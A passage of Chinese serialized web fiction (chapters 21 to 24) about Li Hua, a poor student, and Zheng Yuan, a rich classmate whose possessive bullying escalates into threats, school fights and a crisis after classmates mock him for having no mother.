李华不知道他笑什么，郑源塞到他手里维生素的时候，他知道反正自己是笑不出来的。“你看我干什么。”郑源觉得他不知好歹，“就你这身子骨，三天两头发烧生病，你体考能满分吗你，我这是为你好，你还不识抬举。”
李华将他递过来的小药片塞进嘴里，有些疑惑地看着他，郑源得意的勾唇笑：“怎么样，甜吧，知道你不喜欢吃，专门给你买的草莓味的。”
李华再一次疑惑，难道自己要说谢谢吗？他抿着唇，背着书包要走。自从他开始走读，他觉得时间简直宝贵，紧凑，且浪费，那一来一回的几十分钟，就是再有学习机，也比不上几分钟到宿舍，还能躺床上看书。又或者那是他唯一不用面对郑源的自由时间，现在也被无情占用。郑源跟他一起上学，吐槽着说：“我们家不比学校舒服，你真是享不了福。”
李华说：“你可以安静一点吗？”
郑源闭了嘴。
到了学校，王玉代早早地看到俩人一起来。心里的困惑坚定了几分。他早就看出来两人关系不一般，他之前只是吵到李华睡觉，郑源就跟个疯狗似的要揍他，把他吓的躲到朋友家好几天才敢来学校，就那也挨了两拳，后来又跑过来找李华，对他嘘寒问暖，百依百顺，现在两个人又共同上下学。王玉代感觉奇妙，有蹊跷，且膈应。
他不知道自己在难受什么，只觉得他俩的行为接触不正常。
以至于他都一反常态的很少往郑源那儿凑，因为他一抬头，就能看到郑源痴汉似的盯着李华，目不转睛，就是低头在本上写个什么，他的脖子恨不得也伸出两米远，去看个究竟。
怎么，上的难道不是同一节数学课。
他一阵恶寒。下课，李华刚合上书本，就听到几个男生在议论一个女生，说：“你是不是有点胖啊。”李华循着声音看去，是之前几个跟王玉代和郑源混的男生，围着一个女生，嬉皮笑脸的：“屁股和胸也大，大胸妹，大屁股妞，哈哈哈。”
李华皱眉，下意识看向郑源，郑源正托着下巴看他，看他看向自己，下意识问：“看我干什么。”
李华：？
到底是谁一直看着谁？李华不明白他的逻辑，也不想明白，他知道郑源可以管住这几个男生，甚至他可以管住很多人，但是他不想跟他说什么，因为在他心里，郑源跟他们是一路货色，一丘之貉。他看着女生被逼迫的嘲弄，羞红的脸，挺身而出道：“你们别这样。”
那几个男生一愣，“哪样？”
他们看李华像看一个未成年的小菜鸡，李华说：“这样很没有礼貌。”
几个男生面面相觑，“我们说什么了啊？我们说的不是实话吗？她不就是胖吗？怎么胖还不允许说了？”
“不允许。”李华嘴笨的回答，“她都没有说你们。”
男生哈哈大笑，“我们也不胖啊。”
李华想不到反驳的话，被堵的哑口无言。女生感激地看着他，李华冲她笑笑。
“有意思。”郑源看着两个人的互动，不知道说给谁听，看笑话似的，“英雄救美上了还。”
他心里不平衡，有点想找事儿，偏偏李华还不看他，视他为空气，让他心里更来气。他左右看看，找到王玉代，王玉代正在和几个同学叠面包，看到他来找自己，有点儿想避开，郑源说：“你跟我过来。”
王玉代翻个白眼，撂下面包跟他走出去，郑源说：“你去欺负李华，让他过来找我。”
王玉代说：“不是吧大哥，坏人又让我当。”
自从上次李华主动关心他，不知道怎的，他就不想再充当恶人的角色，更是想避开郑源这个避之不及的麻烦。
郑源好笑地看着他，“不然让我当？让你去你就去，哪儿那么多废话。”
王玉代烦的不行，但不敢表现出来，总觉得这大爷没事儿去看看吧，指不定脑子有什么问题。他烦躁地走进屋里，扫了一圈李华所在的位置，想了半天，拿着黑笔走到他背后，给他的校服上画了个大大的王八，写了SB两个字。
李华错愕地看着他，王玉代完成任务似的拍拍手，“你现在可以去找郑源了。”
李华错开他往后看，看到抱着膀子好整以暇的郑源，脸沉了下来，一声不吭地埋头继续写题，仿佛不知道也不打算不准备解决发生的事情。郑源脸色微变，喊王玉代过来：“你怎么办事儿的？”
“我还能怎么办？他不找你我有什么办法？”王玉代莫名其妙，忍了忍，没忍住，说：“大哥，你有什么事儿自己上不好吗？”
郑源阴测测地盯着他，笑了一声，“滚。”
王玉代滚了，当晚他就在放学的路上被人打了一顿。越想越气，他捂着受伤的口鼻，产生了报复的心理，郑源他动不了，加深李华和他之间的误会总是可以的吧？郑源那么急切的想寻求李华的关注，他偏不让他如愿。
李华和郑源回家后，两个人一句话都没说，在路上也都沉默。李华知道自己的校服是郑源指示王玉代干的，郑源却偏偏傻子似的没话找话地主动说：“你放心，他欺负你，我替你报仇。”
李华匪夷所思地看着他。郑源只当他感动了，小心翼翼地靠过来，李华说：“你没事儿吧？”郑源一顿，“什么。”李华摇头，他都不知道怎么形容。晚上上床，郑源说这个星期家教会来。李华说我要回家。郑源有点不爽，李华难得解释
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道：“我得回家，舅舅担心。”
话都说到这份儿上，郑源无话可说。星期五，把人安安生生送回了家，让他开心快乐并舒适的度过了一个周末，星期天当天下午，就迫不及待把人接走了。
两天没见，郑源对他的态度就好很多，让李华的脸色也缓和许多，吃补品都没那么抗拒了。郑源深知李华的脾气性格，再没提过晚上抱一起睡的要求，反正他会在李华睡着后偷偷过去抱着，又在他第二天快醒来时瞬间松开，只有晚上洗漱时，才会得寸进尺的非要在李华洗脸时趁机摸他的脸，被李华皱着眉打开揩油的咸猪手。
但是被打郑源也是开心的。
直到王玉代主动找到他，说：“源子，你有没有感觉，李华长的挺好的？”
郑源皱眉看着他，眼睛里都是警惕，“你什么意思。”
“没什么意思。”王玉代递给他个粉红色的信封，“人家给李华的情书，我是给你，还是给他？”
郑源看看他，又看看那香喷喷的情书，不由分说地抓过来拆了，看着那工整又秀气的字体，一句一个，李华你很优秀，我很喜欢你，郑源看的眼睛扎，仿佛那些字是尖刀，一个个直戳他的眼球，刺穿后脑勺。他冷着脸却又克制愤怒的将情书撕个粉碎，连带着看任何人都是暴躁的，特别是李华。
王玉代冷眼看着他的行为，唇角勾起冷笑，果然让他猜对了，所有的一切不和常规，都源于郑源对李华有超出寻常的占有和控制。
他不嫌事儿大的，添油加醋说：“说实话这都不是我收的第一封了，只不过之前我都懒得给，这次想着不如给你看看，让你解决。”
郑源说：“哪个女生。”
王玉代说：“隔壁班的，你不认识。”
郑源看着他，“警告她，不要再写任何东西，不要再喜欢他。”
王玉代说：“保准完成任务，源子，只不过……你这样做，李华会不会生气啊？”
“他生什么气？”郑源瞬间炸开锅，“他有什么好生气？我他妈生气还差不多！”
他烦躁的踢墙，当天晚上，就阴着一张脸跟李华说，“你以后不要对任何人说话，听到没有？”
李华完全不能理解，“你有病吧。”
郑源死死地盯着他，“你要是再敢跟任何人说话。”他看着那双愤怒又不解的双眼，终归是心疼的将矛头指向别人，“我就把你舅舅打到住院。”
李华瞪大眼：“郑源！”
他几乎是冲上去和他扭打成一团，被郑源三下五除二摁在身下，狠狠摸了几把脸，平时碰一下都费劲的要死，这自己投怀送抱，他可着劲儿把人压在身下抱，“我就警告你这一次，剩下的你自己看着办。”
第二天李华就成了哑巴。他不敢惹他，他知道他真的会做出什么。郑源舒坦了，靠近他，看着他的眼，捏他的脸：“真棒。”
22. 22
郑源让李华当哑巴，他就真的当哑巴。无论谁说话，他都不回。其中也包括郑源。郑源兴高采烈地问他话，李华权当没听见。郑源说了好多好多，终于反应过来，李华不是没听见，就是不想理他。他的嘴闭的比谁都紧。玩冷暴力似的，徒留郑源一个人的独角戏。郑源疯了。他流氓又大力地抱住李华，让他无法挣扎，几乎是在他耳边吼：“你就知道气我！就知道气我！”
他盯着李华嫩白的脸蛋，忍无可忍的亲了一口。吧唧一声，声音很大。
李华僵了。郑源也僵了。
李华缓慢地扭头看他，眼神震惊又错愕，脱口而出：“你干什么？”
郑源的脸爆红。
他张张嘴，李华挣开他，直奔洗手间，郑源嗫嚅地跟在他身后，看他疯狂洗脸，又心虚似的扬大声音：“不就亲一口吗？犯得着这么嫌弃吗？”
李华嫌弃的要命，一边洗脸一边骂：“你有病吧。”
从小到大，谁都没亲过他，连他爸妈都没有。虽然他比较傻，单纯又天真，但人的自我防御意识清醒地认识到，所接受的道德教育也告诉他，两个男生抱在一起是不正常的，一个男生亲另一个男生更是不正常的！
郑源找补着：“你以为我想亲你啊？我亲谁都不会亲你好吗？”
李华不说话，很生气，郑源看他皮都要搓下来，红红的，忍不住上前：“别他妈洗了。我就亲了能怎么样？都是男的你怕什么？”
李华盯着他，扭头就走，郑源摸了把脸，掐着腰跟在他身后，道德绑架道：“我对你这么好——”
不提这个还好，一提这个李华瞬间炸了。之前的憋屈爆发，他站在沙发边跟郑源吵架，声音一点都不比他低：“你对我好？你每天打我骂我你对我好？你买的那些东西难吃的要死，你自己都不吃，非要让我吃，你对我好？我什么都没干你的让我当哑巴，不让我跟人说话，不让我回家，你把我的生活搅和的一团乱麻，你对我好？你凭什么说你对我好？我爸妈对我好，老师对我好，同学对我好，就是你不会对我好！！！”
他一口气说了这么多，气的直喘息，郑源愣愣地看着他，看他气的红的脸，红的眼，注意力跑偏，“诶那个补品真的有效，你都能这么跟我吵了。”
李华差点气晕过去，闭着眼坐在沙发上。
郑源走到他身边，蹲下来，看着李华委屈难过的掉泪，不知道说什么，笨拙道：“别哭了。”
他小狗似的趴在他膝盖边，眨着眼。
李华缓了缓，长出一口气，推开他：“我要去写作业了。”
声音闷闷的。
郑源跟在他身后：“我和你一起，你喝酸奶吗？”
李华说：“你就没点自己的事儿干吗？”
郑源说：“有啊，我问你喝不喝酸奶，我可以下去买。”
李华无奈。
他说：“你下去买去吧。”
他不想跟他在一个空间里。
郑源说好耶。他认为这是两个人和好的信号，着急忙慌地下楼去了。李华坐在书桌旁愣神，下意识摸摸自己的脸，好怪，他使劲搓了搓，那种被亲的感觉记忆犹新，仿佛一直在循环，郑源的嘴那么软，他又使劲的搓了搓，总是想起鸡皮疙瘩，他恨不得把那块儿肉剜掉。
当天郑源乖的多，没再打扰他，像被训骂了一次的狗，有点看他眼色行事。李华舒坦了点儿，躺在床上的时候，突然想起王玉代说的话，他说郑源这人你得顺着，不然他老跟你作对。顺着？怎么顺？顺不了。他提那要求都令人无法忍受，甚至是匪夷所思，顺着他，李华不如去死。就比如第二天早上，他在卫生间解大的，郑源百无聊赖地等着他，突发奇想似的问：“李华李华，你拉的屎是什么样的？”颇有种想看看的意思。
李华：“……”
李华拉不出来了。他黑着脸冲厕所，洗手，背着书包错开他，坐在车上越想越气，忍不住骂他：“以后我上厕所的时候，你能不能不要说话？”
郑源不知道他怎么了，噢了一声，没敢说话。
到了教室。虽然很气，但也很怕。郑源对他的威胁他一直记在心里，像是形成肌肉记忆。郑源这个人，阴晴不定，时好时坏，像随时会爆炸的炸弹，根本惹不起。李华闭着嘴不说话，学习委员找他要作业他也只是沉默地递过去。郑源托着下巴看他。没一会儿，之前李华仗义执言的女生就过来找他，站在他身边，抿抿唇，笑着说：“李华。”
她递过来一份面包：“谢谢你。”
李华抬眼看看她，又看看面包，女生有些害羞，搞的李华也不太好意思，他刚想张嘴说谢谢。就感觉如芒在背，他抖了了一下，在本子上认真地写：谢谢。
他冲女孩儿笑笑，女孩儿也笑笑。
面包收下，郑源也笑笑，握的笔都要捏断了。
王玉代靠过来说：“源子啊，你说李华，有没有可能和她在一起？”
和她在一起？郑源瞬间联想到李华和自己成双结对出入学校的场面，他和她在一起？在什么？李华有钱带她？他还敢在一起。他咬着后槽，一字一顿，“他敢。”
王玉代撇嘴，“那可不好说，你看李华开心的，指不定真有点喜欢她。”
郑源冷冷地看着他，“你这么关注他。”
王玉代一顿，“你是我好兄弟，你在意的人我当然要陪你关注。”
郑源冷笑一声，“你也不是好东西。”
他烦躁地踹王玉代一脚：“滚，真他妈烦。”
王玉代疼的后退两步，恶狠狠地离开。他就知道，像疯狗似的。横竖都咬人，软硬都不
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吃，倒了八辈子血霉被这样的人缠上。王玉代揉着自己的腿，坐到位置上，阴狠地盯着郑源，早晚要让他出事儿！
李华没有注意后面的响动，他只是把面包收进抽屉里，这是同学对他的友好，是他善良正义付出的回报。他很开心，心情都变好。却在第二节大课间，看到郑源在翻他的抽屉，把那面包踩在脚下，跺碎，碾烂，粘到地上。李华错愕地看着他，手上捧的作业全掉。他握着拳，直直地盯着郑源，愤怒又崩溃。郑源看到他，撇了下嘴，刚想走，就看到他快速地冲自己冲来，上来就是一拳，揍的他下颚阵痛。他惊愕地看着李华，张嘴一句：“你有病吧。”
李华说：“你他妈才有病！”
他冲上去和郑源打成一团，噼里啪啦让很多桌子移位，东西掉在地上，其他同学陆陆续续赶来，被声音吸引，有人劝架，有人找老师，有人试图拉开他们。郑源摁着他的脸压在地上，粘在面包上，“你他妈打得过我吗天天打。”
“打不过我也打！”李华眼睛赤红，“你有病！神经病！你没有教养！没有素质！没有！”
“就你有。”郑源冷哼。
“郑源没有妈！”不知道是谁喊了句，郑源一愣，看向人群，手都松了，李华也愣了一下，他快速爬起来，拍自己的脸，郑源站在他身边问：“谁说的？”
他看着一帮子同学，胸腔起伏极大：“谁说的？！我他妈问你们谁说的？！”
他猛的踹了一脚课桌，桌子腿儿都劈了。
同学们都往后退，畏惧地看着他，刚刚七嘴八舌，乱成一锅粥，太乱了，没人知道是谁喊的。郑源眼眶发红，握成拳的手在抖，老师赶来了，看着这混乱的场面，刚想出声，郑源扭头就走，老师拦了一下，没拦住，李华看着他离开的背影，看看老师，沉默地将地上的面包清理干净，用卫生纸包起来扔进垃圾桶，捡了地上的文具放回同学的桌子上，跟他们一起将桌子摆好，回到座位上。
——郑源没有妈！
李华握着笔，看着数学题，抿嘴。
他第一次在上课的时候往后扭头，准确无误地看着王玉代，王玉代勾着笑，心情正好，看到他沉默地望着自己，心悸了一下。
他的笑收了。
心跳加速。
李华扭过去。
平静地过了一下午，晚上放学，他看着车旁的司机，司机抿抿唇，满含歉意和愧疚地说：“李华同学，很抱歉。”
这个中年男人像是没法张嘴，他对上李华干净的目光，说：“郑少爷让我给您带句话，他说：滚回你自己家去吧，傻逼。”
说完，他非常抱歉地看着李华，说声：“抱歉。”
然后开着车，扬长而去。
李华站在原地，左右看看，背着书包，朝舅舅家的方向走去。
23. 23
郑源没有母亲这事儿不算是秘密，但也仅限于同圈子内流传，因为这跟他们老郑家高调的行事风格分不开关系。虽然大家背地里都讨论，但没人敢拿明面上说，毕竟除了他小叔的阴狠毒辣，他们家长辈也没一个能惹的，但这次当众揭短，无异于把郑源当成笑话，身为家里的独苗苗，郑源分分钟就能回趟祖家把人揪出来让他遍体鳞伤，但没有，巨大的愤怒与暴力下，他将家里砸的一干二净，随后抱着枕头窝在沙发上，像个缩头乌龟，把自己埋起来了。
他第一次看到李华的父母时，那种长久以来刻意忽视的嫉妒和委屈倾泻而来，但他忍住了。他一边鄙视、鄙夷以及嫌弃地审视着李华的父母，另一边又像犯贱似的忍不住窥探他们的一举一动，一颦一笑，蜘蛛织网似的捕捉每个话语和动作后包含的温情或亲情。那可能是一种叫爱的东西，母爱，又或者父爱，总之是他避而不及、生怕沾染上的蛇蝎。
他平等的，向李华倾诉他的秘密，因为李华的那双眼，毫无杂质，总让沸腾的他感到宁静和祥和，却没想到那一晚的交心在被当众取笑时显得那么脆弱、不堪和可笑。这下好了，他想，李华知道所有人都在嘲笑他了，他像个小丑，被人扒光了衣服，扔在大街上，尽管只有一刹那，但已足以让他心神俱毁。他疲惫、恶劣地赶走他，包括煮饭阿姨，管家、司机以及所有人。
“李华？”舅舅第三次敲响李华的卧室门，等了会儿没人回应，推门进去，看到李华垂着脑袋看题一动不动，像在思考，又或者，发呆。
舅舅把手放在李华肩上，李华吓一跳，连忙扭头，看到舅舅，面色闪过一丝不自然的慌乱，喊了声舅舅。
舅舅看他数学卷子上的最后一道大题没写，上面点了几个黑点，估计是被卡住了，安抚道别着急，想不出来明天问问老师，这么晚了，该睡了。
李华点头，舅舅便没说什么，走了出去。李华搓搓脸，看着数学大题，稍作思考，将答案写了上去。但写了一半，人又开始分神。这是他第一次这么注意力不集中，生涩而直接，丝毫不加掩饰，将神游天外表现了个透彻，幸亏不是在课堂上，他暗自庆幸，但是又回到百思不得其解的问题——那句话是王玉代喊出来的，尽管他故意掐着嗓子，但李华就是能精准地肯定他，只因那天在篮球场打架，他也是这种嘲讽的语气、幸灾乐祸的态度、阴阳怪气的声音。李华认出来了他，他也知道李华认出来了他，所以为什么，他跟郑源不是很要好吗？为什么会在背地里做出这样的事情呢？李华不明白。他没有复杂的人际关系，没有玲珑的心，他的世界分为简单的对错和黑白，顶多沾染一点夹角的灰，还是郑源硬生生加进来才带来的，所以他理解不了这么复杂的行为。
他甩甩脑袋，将剩下的一半答案写在卷子上。又长舒一口气，虽然身上还是有些疼，但郑源把他撵了出来，他可以不用在去陪他睡觉了，也不用再去他家面对他，李华还是很开心的。对于今天的突然到家，舅舅没有多问，因为李华也没有撒谎，他只说想家了，想回来了，那就回来吧。舅舅还是十分爱护他的。
于是第二天他收拾好心情上学去了，却发现郑源请假了，到处都是窃窃私语的议论声，不用听也知道说的什么。恰好王玉代从前门进来，两个人对视一眼，王玉代冷哼着回到位置上，却在李华背后盯着他。他知道李华和郑源关系不得了，但不知道近到哪个地步，他怕，怕这个呆头呆脑的好学生揭发他，最关键的是他也没想到，李华能这么敏锐的锁定他。
老师进来后开始讲课，一切照常进行，除了正中间的位置空了出来，好像没什么事情发生。但还是有区别的。鉴于坐在讲台旁边的黄金台，李华清晰的感受到班主任的心不在焉，以及她不停地翻看着放在讲桌上亮着屏的手机，像是在焦急的等待着什么，她神情严肃、不苟言笑，让李华隐约察觉到有什么事情要发生。十分钟后，她的手机震动了一下，细微的震感被李华察觉，他看到老师迅速紧张的拿起手机，然后下意识往窗外看去，李华也顺着她的目光看，看到一个男人。
他斜后方还跟了一个人。两个人之间有三步左右的距离。为首的男人隔着窗户朝他们看来，一双很冷淡的眼，眼皮很薄，眼型又狭长，便显得严厉和刻薄。他的视线定在李华身上，轻轻蹙了下眉，李华便见班主任小跑着出去，尽量表现的平静，却依旧诚惶诚恐的模样。
两个人都穿着黑衣裳，工整而妥帖，不见一丝褶皱，不是西装，倒像是某种特制的制服，显出浑然与众不同的气质来，让他们出类拔萃，等他们走过了，李华才反应过来，后面那男人也是一副跟随的模样，手里还握了把黑伞，上面沾着细细的雨滴，竟然是下雨了，他看眼窗外的天，不知何时阴沉的乌云密布，要砸下来似的，莫名让人呼吸不上来。他低头看书，抹掉心里那一瞬诡异的感觉，是畏惧，也是警惕和抗拒，他不想跟那样的人呆在一个时空里，他们看起来很吓人。
“郑先生，实在是不好意思……”班主任极力解释着，对于事情的发生她也很意外和措手不及，问题的关键是，郑源并没有在那一刻爆发，将事情闹出无法挽回的模样，他只是走出了教室，再没回来，也没消息，是的，他们联系不上他，也不知道他住在哪里，生怕他出现意外，只能联系了当时预留的家长联系方式，将事情一五一十的说清楚。
郑玉安静静地听着，说：“为什么当时没有联系我。”
班主任无言，只得让他看手机界面，那是郑源于昨晚半夜发的短信。
—老师，别告诉我家里人，我只想一个人静一静。
后面便是班主任无休止的慰问和关心以及担忧，但从昨夜至今天白天，郑源都再没回过她。
前后总共六个小时。按照某种意义上来说，班主任眼底的黑眼圈和红血丝有以及聊天记录和通话记录证明，她的确是在拥有绝对自由的郑源和惹怒他以及他惹不起的家人中做了强烈的犹豫与挣扎，最终选择拨通了郑玉安的电话。
郑玉安没有兴师问罪和为难一个太不起眼的小老师，他只是稍作思考，便能冷静地肯定，依照郑源的性子，他的确会受打击，因为父母是他的逆鳞也是伤疤，从小到大都是如此，家里的长辈包括他自己也都是因为这一部分原因所以给他绝对的自由支配权，因为在这个世界上最有资格管他的两个人都已经不在世上了，那他就是自由的，他们不愿再苛刻他，虐待他，只会放任他，宠爱他，因此，他虽有软肋，但绝不会就这么自我放弃，任人宰割，按照他对郑源的
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了解，他沉浸在悲伤和痛苦的时间里越长，他逆反的心理和报复的程度就会越狠，他根本不担心。所以他今天专门跑来的这一趟，郑源只占一小部分原因，有更大的一部分原因，就是因为他知道郑源为什么没有选择和嘲讽他的人硬刚，而是逃离现场——因为他害怕，他觉得丢人和难堪。他们老郑家的人，从上到下，从爷爷辈到孙子辈，全都争强好胜又怕丢面子。
他是觉得丢人了。
但不是因为是在同学面前丢人了。
这些人郑源根本不在乎，只有在他在乎的人面前丢人，他才会像鹌鹑一样躲起来。
郑玉安淡淡地笑了，笑意却不达眼底，他就是百忙之中抽空来看看，到底是什么男同学把郑源迷的神魂颠倒，变成懦夫。
看了，他的心里也好有了底。毕竟有些人什么性子，好不好拿捏，只一眼就能确定了。
郑玉安说：“事情的始末我已经了解了。他在学校有个好朋友，让他去看看郑源吧。”
老师茫然地听着，郑玉安道：“他不想让你告诉我，你就不要说了。辛苦老师多费心了。”
送走郑玉安，老师回到班级，看着自觉上自习的同学们，目光扫了一圈，忍不住问：“你们……谁跟郑源关系好？”
同学们面面相觑，你看看我，我看看你，没一人说话，这时，有人说：“李华吧，他俩天天一起吃饭来着。”
“李华？”班主任错愕地看着他，很惊讶，她怎么记得李华说郑源打他来着……但是郑源之前好像的确因为李华……
李华埋头写题的笔顿了，他仰头看老师，目光清澈干净，灯光映在他的眼里，他说：“老师，我和他关系不好。”
老师抿抿唇，一时骑虎难下，急中生智的她拿起手机给郑源发短信。
—让李华去看看你好吗？
？？？谁？郑源一骨碌从沙发上爬起来，疯狂回复。
—不要！谁来都不能让他来！
好吧，那看来关系确实不怎么样，老师莫名喘口气，刚张嘴，手机又震动了。
—让他来。
郑源迅速发来第三条消息。
—让他自己来。
老师：……
老师抿着唇，手指在键盘上艰难地敲了又敲，删了又删，最终看向李华，目光有些不忍：“你……要不……去看看他？”
“我不去。”李华眉头皱的很深：“我不要去，老师，我——”
他的话被打断了。
他直愣愣地看着窗外的男人，是拿着那把伞的男人，为首男人的跟随者，他又高又壮，弯腰时衣服略微紧绷，压迫感极强。他看着李华，将手里的黑伞放在走廊上，又看了眼老师，什么都没说的离开了。
老师心跳很快，她眨眨眼，男人已经消失了，那把依墙放着的黑伞孤零零地杵着，直勾勾地正对着他们，仿佛一双冰冷的眼。
雨下的大了，打起了闪电，有风从窗户里倒灌，让所有人都打了个冷颤。
“你去吧。”老师撇开目光不看他，像是受不了良心上的煎熬与折磨，让她呼吸都不太顺畅，“那把黑伞……应该是留给你的。”
李华握着笔的手指尖泛白。
“知道了。”
24. 24
李华就知道有很多事情他根本反抗不了，无论是郑源的压迫还是老师的请求，他身为一个普通学生，只有接受的份。神奇的是，他不知道自己该怎么反抗，谁能帮他，却知道不能因为他，给家里带来任何不好的影响。他撑着那把黑伞，站在细雨中，身形瘦小。他太瘦了，校服在身上直晃荡。他本想抬头看眼天，却看到了黑伞的骨架，钢制似的材质，泛着冷硬的光感，像把森冷而坚硬的网。
老师问郑源去哪里看他，郑源立即安排了司机来接李华。李华抽抽鼻子，站在大门口，老师收回目光，回到教室，看着空荡荡的座位，似乎还能看到李华委屈又努力撑下的目光：“老师，我想上课。”
老师抿唇，只能说：“不会耽误太长时间的，快去吧，这节课和下节课上自习，老师等你回来。”
同学们朗朗的读书声遮盖他们的谈话，李华垂着头站了起来，拿起了走廊上的黑伞。那把黑伞无法折叠，很长，还有些重，李华开伞的时候有些费劲，他留意到冰凉的伞柄上有一个类似Z的图案，像是郑字的大写字母。
车很快就来了，司机冒雨给他打开车门，他认识这辆车，也认识这个司机，他和郑源不止一次坐着这辆车回家，这个司机也是替郑源传话说他傻逼的中年男人。
两个人四目相对，司机很快低下头去，李华收了伞，上了车。
去哪儿？他没问，总归是要去到郑源身边，什么时候回来？他也没问，总之他自己做不了主。
看着车窗外细雨朦胧的景色，李华突然多了个心眼，他不信郑源说的逃跑的话会被野兽咬死，他瞪大眼，在雨幕中有心的留意着车的方向，拐了几个弯，等了几个红绿灯，路过什么标志性建筑，他会跑，会逃，只要他知道怎么回家，就没人能困得住他。
约莫有半个小时，车停下了，李华率先下了车，冒着小雨跑到屋檐下，把黑伞留到车上。司机去停车，门口装的有电子监控，很快向屋里的人传输外来者信息。郑源抱着枕头看屏幕，看到李华的身影，站起身想去开门，枕头都放下了，又坐了回来。
他在等李华敲门。他想装出一副不知道他怎么来了，又为什么来的反应，来掩盖些什么，比如他并没有一直盯着电子屏等他来，所以不会第一时间发现他出现在这里。
但李华没有。
司机完成任务没有拐回来的必要，李华左右看看，一个大胆的念头蹦出来，如果现在他逃跑，也没人知道他没来不是吗？他觉得自己学坏了，没有那么老实了，但他并不以此为耻，反以此为荣，因为他不觉得这种想法有什么不对，这是他被压迫到极致，发散思维的智慧。
他想跑。郑源紧紧地盯着他，这是他心里直接冒出的念头，像是无师自通就能看出来李华每个面部表情后的想法，他冷哼一声，知道他有贼心没贼胆，听话的冒着傻气，根本不敢。
李华有些犹豫。
李华的脚迈出去了。背对着门的。
他真跑了！
郑源操了一声，扔掉枕头就窜到门边开门，一把把外面的人拽进来，李华半个肩膀都已经出屋檐淋湿了，他懵懵地看着郑源气急败坏的样子，要知道不犹豫了。
犹豫是因为他不确定自己刚才是否已经记住路了。
李华撞到郑源的肩膀上，他比自己高也比自己壮，撞上疼疼的，他皱了下眉，可把郑源气炸了，摔上门，握住他手腕的手都不自主用力：“你什么表情。”
李华抬眼看他，挣脱他，没挣动，“放开我。”
郑源把他拖到沙发边坐着，放开他，没再说话，李华看着他，不知道自己来是干什么的，因为老师没跟他说，但他又隐约知道自己的任务，道：“回去上课吧。”
郑源看他一眼，“不去。”
不去就不去。李华想，但是又想，他不去，自己以后是不是还要来？
他在转身走人和忍气吞声之间选择了后者：“去吧。”
“不去。”
“去吧。”
“不去。”
“去吧。”
“不……不是，你有病吧？”李华不是来看他的吗？怎么劝上学了还？随即他又反应过来，双腿翘在茶几上，面露嘲讽，估计就是因为这个才来看他的，他莫名烦躁，一句话都不想说。
李华说：“为什么不去？”
“不想去。”
“为什么不想去？”
“不想就是不想，哪有那么多为什么。”郑源避开李华固执的目光，拿起桌子上的玻璃杯喝了一口，没好气地说：“水杯在厨房，自己去倒。”
他才不会给李华倒茶！
李华抿抿唇，扭头看了一眼，他的确有些口渴，便朝厨房走去。
开放式厨房，郑源的目光跟着他，看到他站在厨房口环顾，不知道在哪儿倒。郑源嘁了一声，嘴上骂着蠢的要死，但已经站起身朝他走过去，这时他才意识到，李华跟他在一起的时间也不短，却连杯茶都没自己倒过，这个认知让他莫名嘴角上翘，恶劣道：“连个茶都不会倒，你还会干什么？”
李华无言。他的确不会，因为他没找到水壶，也没找到茶瓶，没有找到一切看起来盛水的容器，除了一个金色可调节的水龙头。
郑源站在他旁边，触碰了柜子边，那里瞬间亮了起来，是一个指纹的形状，随后一旁的柜子自动伸出，里面放着崭新透亮的玻璃杯，郑源取出来一个，放在一个黑色的台子上，接受到重量感应的恒温水箱很快自动出水，停止时刚好一杯，李华接过，是温热的。
好神奇。他不由自主多看两眼。
郑源看着他这土老帽的样，忍不住得意起来，“没见过？”
没有。李华诚实地摇头。
“你们怎么喝水的？”郑源问。
“用水壶烧水，倒进茶瓶里保温，再倒进杯子里。”李华说。
“这么麻烦。”郑源摒弃，何不食肉糜道：“买个水箱啊。”
李华沉默了，郑源一瞬间想到他买不起，沉默了一秒，听到李华问他：“多少钱？”
“……啥？”
“这个。”李华指指水箱，“多少钱？”
他要好好努力学习，争取获得奖学金，给爸爸妈妈买一个。
爸爸妈妈都是农民，一年里起码两个季节要在地里一忙忙一整天，大太阳晒着，好不容易回家，累的手指头都抬不起来，还要强撑着膝盖去烧水，烧出的水烫嘴又无法下咽，爸爸妈妈的嘴唇干裂的翘起皮，一旁放的大水杯空空如也，不断的试探着小酌着热水下咽。
他在家时会提前烧水，但他现在不在家。
他知道问这个是异想天开，但是他想这起码也是一个好好学习，努力考上好大学的目标。因为他的舅舅经常跟他说，只有好好学习，才能让爸妈过上好日子，这也就是努力学习的意义。
李华再傻，也能深刻地认识到郑源家和他们家的区别。在他们家看来，舅舅已经算是出人头地的了，却没想到在这大城市，他甚至需要在一个学生面前点头哈腰。说出去，肯定令人嗤笑，也没人信。
郑源看着他认真的模样，心情突然比刚才更好了：“想要啊？”
李华不看他了，也没说话。
郑源低头看着他，他比自己低一个头还要多，能让他清楚的看到李华垂眸的侧脸，瘦的脸上都没肉，耳垂似乎也是薄薄一片，但宽大的校服露出一丁点他凸出的锁骨，那儿白的晃眼。
郑源舔了下唇，目光又移到他的后颈，看到他短短的头发茬，像春天沾着露的青草，有种干净又清亮的意思，凑的近了，那洗衣液的皂香味真跟春天的味道差不多。
挺……沁人心脾的。
他咽口唾沫，慢慢伸出手，却被李华打断了。
李华很快就找回了自己的中心任务：“回去上课吧。”
他抬头看着郑源，那双眼比迎着阳光的青草还要透亮，直直地照进郑源的心里，像窗外要雨过天晴的云，看的郑源一片悸动。他缓慢地眨了下眼，放下正抬起的手，罕见地声音温柔：“我不想去。”
没了平日的乖张与喜怒无常，他整个人的气质浑然改变，大概跟外面的天真不再阴有关系，李华看着他黑黑的双眼，偏冷白的肌肤，好看的脸，才发觉他穿了一件乳白色的居家服，头发还有些乱，
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像刚从床上的被子里爬出来，有种无措的委屈。
委屈？李华皱眉，“为什么？”
不等郑源说，他直白道：“因为他们说你没有妈妈吗？”
郑源的脊背绷紧了一瞬，紧紧地盯着他，喉咙发干：“你……”
“那又怎么了。”李华思考，认真道：“这个世界上本就不会有十全十美的家庭，农村里很多父母离婚、被抛弃、留守、父母神经或死亡的小孩儿，但是他们每个也都平安长大，和我是同学。虽然他们有时候会欺负我，但是……”
李华不知道自己在说什么，因为他从来没有安慰过人，也不知道怎么安慰人，更不会想和没察觉到自己是在安慰对方，他只是把他认为的真实想法说了出来：“你有很多别人没有的。”他笨拙的举例，“比如……那个水箱。”
他还有为他撑腰的男人，关心他的老师，追随他的同学等等。父母对于一个人而言固然重要，李华也非常爱他的父母，但这依然改变不了他要离开他们，独自来到陌生城市上学，以及他哪怕真的受了欺负，父母也没办法赶过来帮他，甚至他还要担心别因为他而殃及到父母的事实。
每个人都只能依靠着自己长大。这是李华很小的时候就明白的，在他每天看着父母出去干活，而自己背着书包上学，每一个清晨迎接他的太阳都在告诉他，人生下来，就要开始长大。
